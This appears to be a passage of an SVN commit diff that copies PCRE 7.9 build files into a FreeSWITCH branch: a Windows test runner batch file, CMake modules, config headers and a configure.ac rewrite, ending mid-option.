Copied: freeswitch/branches/seven/libs/pcre/RunTest.bat (from rev 14471, freeswitch/trunk/libs/pcre/RunTest.bat) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/RunTest.bat	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/RunTest.bat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,39 @@
+@rem  This file was contributed by Ralf Junker, and touched up by
+@rem  Daniel Richard G. Test 10 added by Philip H.
+@rem  Philip H also changed test 3 to use "wintest" files.
+@rem
+@rem  MS Windows batch file to run pcretest on testfiles with the correct
+@rem  options.
+@rem
+@rem  Output is written to a newly created subfolder named "testdata".
+
+setlocal
+
+if [%srcdir%]==[]   set srcdir=.
+if [%pcretest%]==[] set pcretest=pcretest
+
+if not exist testout md testout
+
+%pcretest% -q      %srcdir%\testdata\testinput1 > testout\testoutput1
+%pcretest% -q      %srcdir%\testdata\testinput2 > testout\testoutput2
+@rem %pcretest% -q      %srcdir%\testdata\testinput3 > testout\testoutput3
+%pcretest% -q      %srcdir%\testdata\wintestinput3 > testout\wintestoutput3
+%pcretest% -q      %srcdir%\testdata\testinput4 > testout\testoutput4
+%pcretest% -q      %srcdir%\testdata\testinput5 > testout\testoutput5
+%pcretest% -q      %srcdir%\testdata\testinput6 > testout\testoutput6
+%pcretest% -q -dfa %srcdir%\testdata\testinput7 > testout\testoutput7
+%pcretest% -q -dfa %srcdir%\testdata\testinput8 > testout\testoutput8
+%pcretest% -q -dfa %srcdir%\testdata\testinput9 > testout\testoutput9
+%pcretest% -q      %srcdir%\testdata\testinput10 > testout\testoutput10
+
+fc /n %srcdir%\testdata\testoutput1 testout\testoutput1
+fc /n %srcdir%\testdata\testoutput2 testout\testoutput2
+rem fc /n %srcdir%\testdata\testoutput3 testout\testoutput3
+fc /n %srcdir%\testdata\wintestoutput3 testout\wintestoutput3
+fc /n %srcdir%\testdata\testoutput4 testout\testoutput4
+fc /n %srcdir%\testdata\testoutput5 testout\testoutput5
+fc /n %srcdir%\testdata\testoutput6 testout\testoutput6
+fc /n %srcdir%\testdata\testoutput7 testout\testoutput7
+fc /n %srcdir%\testdata\testoutput8 testout\testoutput8
+fc /n %srcdir%\testdata\testoutput9 testout\testoutput9
+fc /n %srcdir%\testdata\testoutput10 testout\testoutput10

Copied: freeswitch/branches/seven/libs/pcre/cmake (from rev 14471, freeswitch/trunk/libs/pcre/cmake)

Deleted: freeswitch/branches/seven/libs/pcre/cmake/COPYING-CMAKE-SCRIPTS

Copied: freeswitch/branches/seven/libs/pcre/cmake/COPYING-CMAKE-SCRIPTS (from rev 14471, freeswitch/trunk/libs/pcre/cmake/COPYING-CMAKE-SCRIPTS) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/cmake/COPYING-CMAKE-SCRIPTS	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/cmake/COPYING-CMAKE-SCRIPTS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1. Redistributions of source code must retain the copyright
+   notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+3. The name of the author may not be used to endorse or promote products 
+   derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Deleted: freeswitch/branches/seven/libs/pcre/cmake/FindPackageHandleStandardArgs.cmake

Copied: freeswitch/branches/seven/libs/pcre/cmake/FindPackageHandleStandardArgs.cmake (from rev 14471, freeswitch/trunk/libs/pcre/cmake/FindPackageHandleStandardArgs.cmake) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/cmake/FindPackageHandleStandardArgs.cmake	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/cmake/FindPackageHandleStandardArgs.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,58 @@
+# FIND_PACKAGE_HANDLE_STANDARD_ARGS(NAME (DEFAULT_MSG|"Custom failure message") VAR1 ... )
+#    This macro is intended to be used in FindXXX.cmake modules files.
+#    It handles the REQUIRED and QUIET argument to FIND_PACKAGE() and
+#    it also sets the <UPPERCASED_NAME>_FOUND variable.
+#    The package is found if all variables listed are TRUE.
+#    Example:
+#
+#    FIND_PACKAGE_HANDLE_STANDARD_ARGS(LibXml2 DEFAULT_MSG LIBXML2_LIBRARIES LIBXML2_INCLUDE_DIR)
+#
+#    LibXml2 is considered to be found, if both LIBXML2_LIBRARIES and 
+#    LIBXML2_INCLUDE_DIR are valid. Then also LIBXML2_FOUND is set to TRUE.
+#    If it is not found and REQUIRED was used, it fails with FATAL_ERROR, 
+#    independent whether QUIET was used or not.
+#    If it is found, the location is reported using the VAR1 argument, so 
+#    here a message "Found LibXml2: /usr/lib/libxml2.so" will be printed out.
+#    If the second argument is DEFAULT_MSG, the message in the failure case will 
+#    be "Could NOT find LibXml2", if you don't like this message you can specify
+#    your own custom failure message there.
+
+MACRO(FIND_PACKAGE_HANDLE_STANDARD_ARGS _NAME _FAIL_MSG _VAR1 )
+
+  IF("${_FAIL_MSG}" STREQUAL "DEFAULT_MSG")
+    IF (${_NAME}_FIND_REQUIRED)
+      SET(_FAIL_MESSAGE "Could not find REQUIRED package ${_NAME}")
+    ELSE (${_NAME}_FIND_REQUIRED)
+      SET(_FAIL_MESSAGE "Could not find OPTIONAL package ${_NAME}")
+    ENDIF (${_NAME}_FIND_REQUIRED)
+  ELSE("${_FAIL_MSG}" STREQUAL "DEFAULT_MSG")
+    SET(_FAIL_MESSAGE "${_FAIL_MSG}")
+  ENDIF("${_FAIL_MSG}" STREQUAL "DEFAULT_MSG")
+
+  STRING(TOUPPER ${_NAME} _NAME_UPPER)
+
+  SET(${_NAME_UPPER}_FOUND TRUE)
+  IF(NOT ${_VAR1})
+    SET(${_NAME_UPPER}_FOUND FALSE)
+  ENDIF(NOT ${_VAR1})
+
+  FOREACH(_CURRENT_VAR ${ARGN})
+    IF(NOT ${_CURRENT_VAR})
+      SET(${_NAME_UPPER}_FOUND FALSE)
+    ENDIF(NOT ${_CURRENT_VAR})
+  ENDFOREACH(_CURRENT_VAR)
+
+  IF (${_NAME_UPPER}_FOUND)
+    IF (NOT ${_NAME}_FIND_QUIETLY)
+        MESSAGE(STATUS "Found ${_NAME}: ${${_VAR1}}")
+    ENDIF (NOT ${_NAME}_FIND_QUIETLY)
+  ELSE (${_NAME_UPPER}_FOUND)
+    IF (${_NAME}_FIND_REQUIRED)
+        MESSAGE(FATAL_ERROR "${_FAIL_MESSAGE}")
+    ELSE (${_NAME}_FIND_REQUIRED)
+      IF (NOT ${_NAME}_FIND_QUIETLY)
+        MESSAGE(STATUS "${_FAIL_MESSAGE}")
+      ENDIF (NOT ${_NAME}_FIND_QUIETLY)
+    ENDIF (${_NAME}_FIND_REQUIRED)
+  ENDIF (${_NAME_UPPER}_FOUND)
+ENDMACRO(FIND_PACKAGE_HANDLE_STANDARD_ARGS)

Deleted: freeswitch/branches/seven/libs/pcre/cmake/FindReadline.cmake

Copied: freeswitch/branches/seven/libs/pcre/cmake/FindReadline.cmake (from rev 14471, freeswitch/trunk/libs/pcre/cmake/FindReadline.cmake) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/cmake/FindReadline.cmake	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/cmake/FindReadline.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+# from http://websvn.kde.org/trunk/KDE/kdeedu/cmake/modules/FindReadline.cmake
+# http://websvn.kde.org/trunk/KDE/kdeedu/cmake/modules/COPYING-CMAKE-SCRIPTS
+# --> BSD licensed
+#
+# GNU Readline library finder
+if(READLINE_INCLUDE_DIR AND READLINE_LIBRARY AND NCURSES_LIBRARY)
+  set(READLINE_FOUND TRUE)
+else(READLINE_INCLUDE_DIR AND READLINE_LIBRARY AND NCURSES_LIBRARY)
+  FIND_PATH(READLINE_INCLUDE_DIR readline/readline.h
+    /usr/include/readline
+  )
+  
+# 2008-04-22 The next clause used to read like this:
+#
+#  FIND_LIBRARY(READLINE_LIBRARY NAMES readline)
+#        FIND_LIBRARY(NCURSES_LIBRARY NAMES ncurses )
+#        include(FindPackageHandleStandardArgs)
+#        FIND_PACKAGE_HANDLE_STANDARD_ARGS(Readline DEFAULT_MSG NCURSES_LIBRARY READLINE_INCLUDE_DIR READLINE_LIBRARY )
+#
+# I was advised to modify it such that it will find an ncurses library if
+# required, but not if one was explicitly given, that is, it allows the
+# default to be overridden. PH 
+
+  FIND_LIBRARY(READLINE_LIBRARY NAMES readline)
+        include(FindPackageHandleStandardArgs)
+        FIND_PACKAGE_HANDLE_STANDARD_ARGS(Readline DEFAULT_MSG READLINE_INCLUDE_DIR READLINE_LIBRARY )
+
+  MARK_AS_ADVANCED(READLINE_INCLUDE_DIR READLINE_LIBRARY)
+endif(READLINE_INCLUDE_DIR AND READLINE_LIBRARY AND NCURSES_LIBRARY)

Copied: freeswitch/branches/seven/libs/pcre/config-cmake.h.in (from rev 14471, freeswitch/trunk/libs/pcre/config-cmake.h.in) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/config-cmake.h.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/config-cmake.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+/* config.h for CMake builds */
+
+#cmakedefine HAVE_DIRENT_H 1
+#cmakedefine HAVE_SYS_STAT_H 1
+#cmakedefine HAVE_SYS_TYPES_H 1
+#cmakedefine HAVE_UNISTD_H 1
+#cmakedefine HAVE_WINDOWS_H 1
+
+#cmakedefine HAVE_TYPE_TRAITS_H 1
+#cmakedefine HAVE_BITS_TYPE_TRAITS_H 1
+
+#cmakedefine HAVE_BCOPY 1
+#cmakedefine HAVE_MEMMOVE 1
+#cmakedefine HAVE_STRERROR 1
+#cmakedefine HAVE_STRTOLL 1
+#cmakedefine HAVE_STRTOQ 1
+#cmakedefine HAVE__STRTOI64 1
+
+#cmakedefine PCRE_STATIC 1
+
+#cmakedefine SUPPORT_UTF8 1
+#cmakedefine SUPPORT_UCP 1
+#cmakedefine EBCDIC 1
+#cmakedefine BSR_ANYCRLF 1
+#cmakedefine NO_RECURSE 1
+
+#cmakedefine HAVE_LONG_LONG 1
+#cmakedefine HAVE_UNSIGNED_LONG_LONG 1
+
+#cmakedefine SUPPORT_LIBBZ2 1
+#cmakedefine SUPPORT_LIBZ 1
+#cmakedefine SUPPORT_LIBREADLINE 1
+
+#define NEWLINE			@NEWLINE@
+#define POSIX_MALLOC_THRESHOLD	@PCRE_POSIX_MALLOC_THRESHOLD@
+#define LINK_SIZE		@PCRE_LINK_SIZE@
+#define MATCH_LIMIT		@PCRE_MATCH_LIMIT@
+#define MATCH_LIMIT_RECURSION	@PCRE_MATCH_LIMIT_RECURSION@
+
+
+#define MAX_NAME_SIZE	32
+#define MAX_NAME_COUNT	10000
+
+/* end config.h for CMake builds */

Copied: freeswitch/branches/seven/libs/pcre/config.h.generic (from rev 14471, freeswitch/trunk/libs/pcre/config.h.generic) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/config.h.generic	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/config.h.generic	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,313 @@
+/* config.h.  Generated from config.h.in by configure.  */
+/* config.h.in.  Generated from configure.ac by autoheader.  */
+
+
+/* On Unix-like systems config.h.in is converted by "configure" into config.h.
+Some other environments also support the use of "configure". PCRE is written in
+Standard C, but there are a few non-standard things it can cope with, allowing
+it to run on SunOS4 and other "close to standard" systems.
+
+If you are going to build PCRE "by hand" on a system without "configure" you
+should copy the distributed config.h.generic to config.h, and then set up the
+macro definitions the way you need them. You must then add -DHAVE_CONFIG_H to
+all of your compile commands, so that config.h is included at the start of
+every source.
+
+Alternatively, you can avoid editing by using -D on the compiler command line
+to set the macro values. In this case, you do not have to set -DHAVE_CONFIG_H.
+
+PCRE uses memmove() if HAVE_MEMMOVE is set to 1; otherwise it uses bcopy() if
+HAVE_BCOPY is set to 1. If your system has neither bcopy() nor memmove(), set
+them both to 0; an emulation function will be used. */
+
+/* By default, the \R escape sequence matches any Unicode line ending
+   character or sequence of characters. If BSR_ANYCRLF is defined, this is
+   changed so that backslash-R matches only CR, LF, or CRLF. The build- time
+   default can be overridden by the user of PCRE at runtime. On systems that
+   support it, "configure" can be used to override the default. */
+/* #undef BSR_ANYCRLF */
+
+/* If you are compiling for a system that uses EBCDIC instead of ASCII
+   character codes, define this macro as 1. On systems that can use
+   "configure", this can be done via --enable-ebcdic. PCRE will then assume
+   that all input strings are in EBCDIC. If you do not define this macro, PCRE
+   will assume input strings are ASCII or UTF-8 Unicode. It is not possible to
+   build a version of PCRE that supports both EBCDIC and UTF-8. */
+/* #undef EBCDIC */
+
+/* Define to 1 if you have the `bcopy' function. */
+#ifndef HAVE_BCOPY
+#define HAVE_BCOPY 1
+#endif
+
+/* Define to 1 if you have the <bits/type_traits.h> header file. */
+/* #undef HAVE_BITS_TYPE_TRAITS_H */
+
+/* Define to 1 if you have the <bzlib.h> header file. */
+#ifndef HAVE_BZLIB_H
+#define HAVE_BZLIB_H 1
+#endif
+
+/* Define to 1 if you have the <dirent.h> header file. */
+#ifndef HAVE_DIRENT_H
+#define HAVE_DIRENT_H 1
+#endif
+
+/* Define to 1 if you have the <dlfcn.h> header file. */
+#ifndef HAVE_DLFCN_H
+#define HAVE_DLFCN_H 1
+#endif
+
+/* Define to 1 if you have the <inttypes.h> header file. */
+#ifndef HAVE_INTTYPES_H
+#define HAVE_INTTYPES_H 1
+#endif
+
+/* Define to 1 if you have the <limits.h> header file. */
+#ifndef HAVE_LIMITS_H
+#define HAVE_LIMITS_H 1
+#endif
+
+/* Define to 1 if the system has the type `long long'. */
+#ifndef HAVE_LONG_LONG
+#define HAVE_LONG_LONG 1
+#endif
+
+/* Define to 1 if you have the `memmove' function. */
+#ifndef HAVE_MEMMOVE
+#define HAVE_MEMMOVE 1
+#endif
+
+/* Define to 1 if you have the <memory.h> header file. */
+#ifndef HAVE_MEMORY_H
+#define HAVE_MEMORY_H 1
+#endif
+
+/* Define to 1 if you have the <readline/history.h> header file. */
+#ifndef HAVE_READLINE_HISTORY_H
+#define HAVE_READLINE_HISTORY_H 1
+#endif
+
+/* Define to 1 if you have the <readline/readline.h> header file. */
+#ifndef HAVE_READLINE_READLINE_H
+#define HAVE_READLINE_READLINE_H 1
+#endif
+
+/* Define to 1 if you have the <stdint.h> header file. */
+#ifndef HAVE_STDINT_H
+#define HAVE_STDINT_H 1
+#endif
+
+/* Define to 1 if you have the <stdlib.h> header file. */
+#ifndef HAVE_STDLIB_H
+#define HAVE_STDLIB_H 1
+#endif
+
+/* Define to 1 if you have the `strerror' function. */
+#ifndef HAVE_STRERROR
+#define HAVE_STRERROR 1
+#endif
+
+/* Define to 1 if you have the <string> header file. */
+#ifndef HAVE_STRING
+#define HAVE_STRING 1
+#endif
+
+/* Define to 1 if you have the <strings.h> header file. */
+#ifndef HAVE_STRINGS_H
+#define HAVE_STRINGS_H 1
+#endif
+
+/* Define to 1 if you have the <string.h> header file. */
+#ifndef HAVE_STRING_H
+#define HAVE_STRING_H 1
+#endif
+
+/* Define to 1 if you have the `strtoll' function. */
+/* #undef HAVE_STRTOLL */
+
+/* Define to 1 if you have the `strtoq' function. */
+#ifndef HAVE_STRTOQ
+#define HAVE_STRTOQ 1
+#endif
+
+/* Define to 1 if you have the <sys/stat.h> header file. */
+#ifndef HAVE_SYS_STAT_H
+#define HAVE_SYS_STAT_H 1
+#endif
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#ifndef HAVE_SYS_TYPES_H
+#define HAVE_SYS_TYPES_H 1
+#endif
+
+/* Define to 1 if you have the <type_traits.h> header file. */
+/* #undef HAVE_TYPE_TRAITS_H */
+
+/* Define to 1 if you have the <unistd.h> header file. */
+#ifndef HAVE_UNISTD_H
+#define HAVE_UNISTD_H 1
+#endif
+
+/* Define to 1 if the system has the type `unsigned long long'. */
+#ifndef HAVE_UNSIGNED_LONG_LONG
+#define HAVE_UNSIGNED_LONG_LONG 1
+#endif
+
+/* Define to 1 if you have the <windows.h> header file. */
+/* #undef HAVE_WINDOWS_H */
+
+/* Define to 1 if you have the <zlib.h> header file. */
+#ifndef HAVE_ZLIB_H
+#define HAVE_ZLIB_H 1
+#endif
+
+/* Define to 1 if you have the `_strtoi64' function. */
+/* #undef HAVE__STRTOI64 */
+
+/* The value of LINK_SIZE determines the number of bytes used to store links
+   as offsets within the compiled regex. The default is 2, which allows for
+   compiled patterns up to 64K long. This covers the vast majority of cases.
+   However, PCRE can also be compiled to use 3 or 4 bytes instead. This allows
+   for longer patterns in extreme cases. On systems that support it,
+   "configure" can be used to override this default. */
+#ifndef LINK_SIZE
+#define LINK_SIZE 2
+#endif
+
+/* The value of MATCH_LIMIT determines the default number of times the
+   internal match() function can be called during a single execution of
+   pcre_exec(). There is a runtime interface for setting a different limit.
+   The limit exists in order to catch runaway regular expressions that take
+   for ever to determine that they do not match. The default is set very large
+   so that it does not accidentally catch legitimate cases. On systems that
+   support it, "configure" can be used to override this default default. */
+#ifndef MATCH_LIMIT
+#define MATCH_LIMIT 10000000
+#endif
+
+/* The above limit applies to all calls of match(), whether or not they
+   increase the recursion depth. In some environments it is desirable to limit
+   the depth of recursive calls of match() more strictly, in order to restrict
+   the maximum amount of stack (or heap, if NO_RECURSE is defined) that is
+   used. The value of MATCH_LIMIT_RECURSION applies only to recursive calls of
+   match(). To have any useful effect, it must be less than the value of
+   MATCH_LIMIT. The default is to use the same value as MATCH_LIMIT. There is
+   a runtime method for setting a different limit. On systems that support it,
+   "configure" can be used to override the default. */
+#ifndef MATCH_LIMIT_RECURSION
+#define MATCH_LIMIT_RECURSION MATCH_LIMIT
+#endif
+
+/* This limit is parameterized just in case anybody ever wants to change it.
+   Care must be taken if it is increased, because it guards against integer
+   overflow caused by enormously large patterns. */
+#ifndef MAX_NAME_COUNT
+#define MAX_NAME_COUNT 10000
+#endif
+
+/* This limit is parameterized just in case anybody ever wants to change it.
+   Care must be taken if it is increased, because it guards against integer
+   overflow caused by enormously large patterns. */
+#ifndef MAX_NAME_SIZE
+#define MAX_NAME_SIZE 32
+#endif
+
+/* The value of NEWLINE determines the newline character sequence. On systems
+   that support it, "configure" can be used to override the default, which is
+   10. The possible values are 10 (LF), 13 (CR), 3338 (CRLF), -1 (ANY), or -2
+   (ANYCRLF). */
+#ifndef NEWLINE
+#define NEWLINE 10
+#endif
+
+/* PCRE uses recursive function calls to handle backtracking while matching.
+   This can sometimes be a problem on systems that have stacks of limited
+   size. Define NO_RECURSE to get a version that doesn't use recursion in the
+   match() function; instead it creates its own stack by steam using
+   pcre_recurse_malloc() to obtain memory from the heap. For more detail, see
+   the comments and other stuff just above the match() function. On systems
+   that support it, "configure" can be used to set this in the Makefile (use
+   --disable-stack-for-recursion). */
+/* #undef NO_RECURSE */
+
+/* Name of package */
+#define PACKAGE "pcre"
+
+/* Define to the address where bug reports for this package should be sent. */
+#define PACKAGE_BUGREPORT ""
+
+/* Define to the full name of this package. */
+#define PACKAGE_NAME "PCRE"
+
+/* Define to the full name and version of this package. */
+#define PACKAGE_STRING "PCRE 7.9"
+
+/* Define to the one symbol short name of this package. */
+#define PACKAGE_TARNAME "pcre"
+
+/* Define to the version of this package. */
+#define PACKAGE_VERSION "7.9"
+
+
+/* If you are compiling for a system other than a Unix-like system or
+   Win32, and it needs some magic to be inserted before the definition
+   of a function that is exported by the library, define this macro to
+   contain the relevant magic. If you do not define this macro, it
+   defaults to "extern" for a C compiler and "extern C" for a C++
+   compiler on non-Win32 systems. This macro apears at the start of
+   every exported function that is part of the external API. It does
+   not appear on functions that are "external" in the C sense, but
+   which are internal to the library. */
+/* #undef PCRE_EXP_DEFN */
+
+/* Define if linking statically (TODO: make nice with Libtool) */
+/* #undef PCRE_STATIC */
+
+/* When calling PCRE via the POSIX interface, additional working storage is
+   required for holding the pointers to capturing substrings because PCRE
+   requires three integers per substring, whereas the POSIX interface provides
+   only two. If the number of expected substrings is small, the wrapper
+   function uses space on the stack, because this is faster than using
+   malloc() for each call. The threshold above which the stack is no longer
+   used is defined by POSIX_MALLOC_THRESHOLD. On systems that support it,
+   "configure" can be used to override this default. */
+#ifndef POSIX_MALLOC_THRESHOLD
+#define POSIX_MALLOC_THRESHOLD 10
+#endif
+
+/* Define to 1 if you have the ANSI C header files. */
+#ifndef STDC_HEADERS
+#define STDC_HEADERS 1
+#endif
+
+/* Define to allow pcregrep to be linked with libbz2, so that it is able to
+   handle .bz2 files. */
+/* #undef SUPPORT_LIBBZ2 */
+
+/* Define to allow pcretest to be linked with libreadline. */
+/* #undef SUPPORT_LIBREADLINE */
+
+/* Define to allow pcregrep to be linked with libz, so that it is able to
+   handle .gz files. */
+/* #undef SUPPORT_LIBZ */
+
+/* Define to enable support for Unicode properties */
+/* #undef SUPPORT_UCP */
+
+/* Define to enable support for the UTF-8 Unicode encoding. This will work
+   even in an EBCDIC environment, but it is incompatible with the EBCDIC
+   macro. That is, PCRE can support *either* EBCDIC code *or* ASCII/UTF-8, but
+   not both at once. */
+/* #undef SUPPORT_UTF8 */
+
+/* Version number of package */
+#ifndef VERSION
+#define VERSION "7.9"
+#endif
+
+/* Define to empty if `const' does not conform to ANSI C. */
+/* #undef const */
+
+/* Define to `unsigned int' if <sys/types.h> does not define. */
+/* #undef size_t */

Deleted: freeswitch/branches/seven/libs/pcre/config.h.in

Modified: freeswitch/branches/seven/libs/pcre/configure.ac (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/configure.ac	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,92 +1,283 @@
-
 dnl Process this file with autoconf to produce a configure script.
 
-dnl This configure.in file has been hacked around quite a lot as a result of
-dnl patches that various people have sent to me (PH). Sometimes the information
-dnl I get is contradictory. I've tried to put in comments that explain things,
-dnl but in some cases the information is second-hand and I have no way of
-dnl verifying it. I am not an autoconf or libtool expert!
+dnl NOTE FOR MAINTAINERS: Do not use major or minor version numbers with
+dnl leading zeros, because they may be treated as octal constants. The
+dnl PCRE_PRERELEASE feature is for identifying release candidates. It might
+dnl be defined as -RC2, for example. For real releases, it should be defined
+dnl empty.
 
-dnl This is required at the start; the name is the name of a file
-dnl it should be seeing, to verify it is in the same directory.
+m4_define(pcre_major, [7])
+m4_define(pcre_minor, [9])
+m4_define(pcre_prerelease, [])
+m4_define(pcre_date, [2009-04-11])
 
-AC_INIT(dftables.c)
-AC_CONFIG_SRCDIR([pcre.h])
+# Libtool shared library interface versions (current:revision:age)
+m4_define(libpcre_version, [0:1:0])
+m4_define(libpcreposix_version, [0:0:0])
+m4_define(libpcrecpp_version, [0:0:0])
 
-dnl A safety precaution
-
 AC_PREREQ(2.57)
+AC_INIT(PCRE, pcre_major.pcre_minor[]pcre_prerelease, , pcre)
+AC_CONFIG_SRCDIR([pcre.h.in])
+AM_INIT_AUTOMAKE([dist-bzip2 dist-zip])
+AC_CONFIG_HEADERS(config.h)
 
-dnl Arrange to build config.h from config.h.in.
-dnl Manual says this macro should come right after AC_INIT.
-AC_CONFIG_HEADER(config.h)
+# The default CFLAGS and CXXFLAGS in Autoconf are "-g -O2" for gcc and just
+# "-g" for any other compiler. There doesn't seem to be a standard way of
+# getting rid of the -g (which I don't think is needed for a production
+# library). This fudge seems to achieve the necessary. First, we remember the
+# externally set values of CFLAGS and CXXFLAGS. Then call the AC_PROG_CC and
+# AC_PROG_CXX macros to find the compilers - if CFLAGS and CXXFLAGS are not
+# set, they will be set to Autoconf's defaults. Afterwards, if the original
+# values were not set, remove the -g from the Autoconf defaults.
+# (PH 02-May-07)
 
-dnl Default values for miscellaneous macros
+remember_set_CFLAGS="$CFLAGS"
+remember_set_CXXFLAGS="$CXXFLAGS"
 
-POSIX_MALLOC_THRESHOLD=-DPOSIX_MALLOC_THRESHOLD=10
+AC_PROG_CC
+AC_PROG_CXX
 
-dnl Provide versioning information for libtool shared libraries that
-dnl are built by default on Unix systems.
+if test "x$remember_set_CFLAGS" = "x"
+then
+  if test "$CFLAGS" = "-g -O2"
+  then
+    CFLAGS="-O2"
+  elif test "$CFLAGS" = "-g"
+  then
+    CFLAGS=""
+  fi
+fi
 
-PCRE_LIB_VERSION=0:1:0
-PCRE_POSIXLIB_VERSION=0:0:0
-PCRE_CPPLIB_VERSION=0:0:0
+if test "x$remember_set_CXXFLAGS" = "x"
+then
+  if test "$CXXFLAGS" = "-g -O2"
+  then
+    CXXFLAGS="-O2"
+  elif test "$CXXFLAGS" = "-g"
+  then
+    CXXFLAGS=""
+  fi
+fi
 
-dnl Find the PCRE version from the pcre.h file. The PCRE_VERSION variable is
-dnl substituted in pcre-config.in.
+# AC_PROG_CXX will return "g++" even if no c++ compiler is installed.
+# Check for that case, and just disable c++ code if g++ doesn't run.
+AC_LANG_PUSH(C++)
+AC_COMPILE_IFELSE(AC_LANG_PROGRAM([],[]),, CXX=""; CXXCP=""; CXXFLAGS="")
+AC_LANG_POP
 
-PCRE_MAJOR=`grep '#define PCRE_MAJOR' ${srcdir}/pcre.h | cut -c 29-`
-PCRE_MINOR=`grep '#define PCRE_MINOR' ${srcdir}/pcre.h | cut -c 29-`
-PCRE_PRERELEASE=`grep '#define PCRE_PRERELEASE' ${srcdir}/pcre.h | cut -c 29-`
-PCRE_VERSION=${PCRE_MAJOR}.${PCRE_MINOR}${PCRE_PRERELEASE}
+AC_PROG_INSTALL
+AC_LIBTOOL_WIN32_DLL
+AC_PROG_LIBTOOL
+AC_PROG_LN_S
 
-dnl Handle --disable-cpp
+PCRE_MAJOR="pcre_major"
+PCRE_MINOR="pcre_minor"
+PCRE_PRERELEASE="pcre_prerelease"
+PCRE_DATE="pcre_date"
 
+AC_SUBST(PCRE_MAJOR)
+AC_SUBST(PCRE_MINOR)
+AC_SUBST(PCRE_PRERELEASE)
+AC_SUBST(PCRE_DATE)
+
+# Set a more sensible default value for $(htmldir).
+if test "x$htmldir" = 'x${docdir}'
+then
+  htmldir='${docdir}/html'
+fi
+
+# Handle --disable-cpp
 AC_ARG_ENABLE(cpp,
-[  --disable-cpp           disable C++ support],
-want_cpp="$enableval", want_cpp=yes)
+              AS_HELP_STRING([--disable-cpp],
+                             [disable C++ support]),
+              , enable_cpp=yes)
 
-dnl Checks for programs.
+# Handle --enable-rebuild-chartables
+AC_ARG_ENABLE(rebuild-chartables,
+              AS_HELP_STRING([--enable-rebuild-chartables],
+                             [rebuild character tables in current locale]),
+              , enable_rebuild_chartables=no)
 
-AC_PROG_CC
+# Handle --enable-utf8 (disabled by default)
+AC_ARG_ENABLE(utf8,
+              AS_HELP_STRING([--enable-utf8],
+                             [enable UTF-8 support (incompatible with --enable-ebcdic)]),
+              , enable_utf8=unset)
 
-dnl Test for C++ for the C++ wrapper libpcrecpp. It seems, however, that
-dnl AC_PROC_CXX will set $CXX to "g++" when no C++ compiler is installed, even
-dnl though that is completely bogus. (This may happen only on certain systems
-dnl with certain versions of autoconf, of course.) An attempt to include this
-dnl test inside a check for want_cpp was criticized by a libtool expert, who
-dnl tells me that it isn't allowed.
+# Handle --enable-unicode-properties
+AC_ARG_ENABLE(unicode-properties,
+              AS_HELP_STRING([--enable-unicode-properties],
+                             [enable Unicode properties support (implies --enable-utf8)]),
+              , enable_unicode_properties=no)
 
-AC_PROG_CXX
+# Handle --enable-newline=NL
+dnl AC_ARG_ENABLE(newline,
+dnl               AS_HELP_STRING([--enable-newline=NL],
+dnl                              [use NL as newline (lf, cr, crlf, anycrlf, any; default=lf)]),
+dnl               , enable_newline=lf)
 
-dnl The icc compiler has the same options as gcc, so let the rest of the
-dnl configure script think it has gcc when setting up dnl options etc.
-dnl This is a nasty hack which no longer seems necessary with the update
-dnl to the latest libtool files, so I have commented it out.
-dnl
-dnl if test "$CC" = "icc" ; then GCC=yes ; fi
+# Separate newline options
+ac_pcre_newline=lf
+AC_ARG_ENABLE(newline-is-cr,
+              AS_HELP_STRING([--enable-newline-is-cr],
+                             [use CR as newline character]),
+              ac_pcre_newline=cr)
+AC_ARG_ENABLE(newline-is-lf,
+              AS_HELP_STRING([--enable-newline-is-lf],
+                             [use LF as newline character (default)]),
+              ac_pcre_newline=lf)
+AC_ARG_ENABLE(newline-is-crlf,
+              AS_HELP_STRING([--enable-newline-is-crlf],
+                             [use CRLF as newline sequence]),
+              ac_pcre_newline=crlf)
+AC_ARG_ENABLE(newline-is-anycrlf,
+              AS_HELP_STRING([--enable-newline-is-anycrlf],
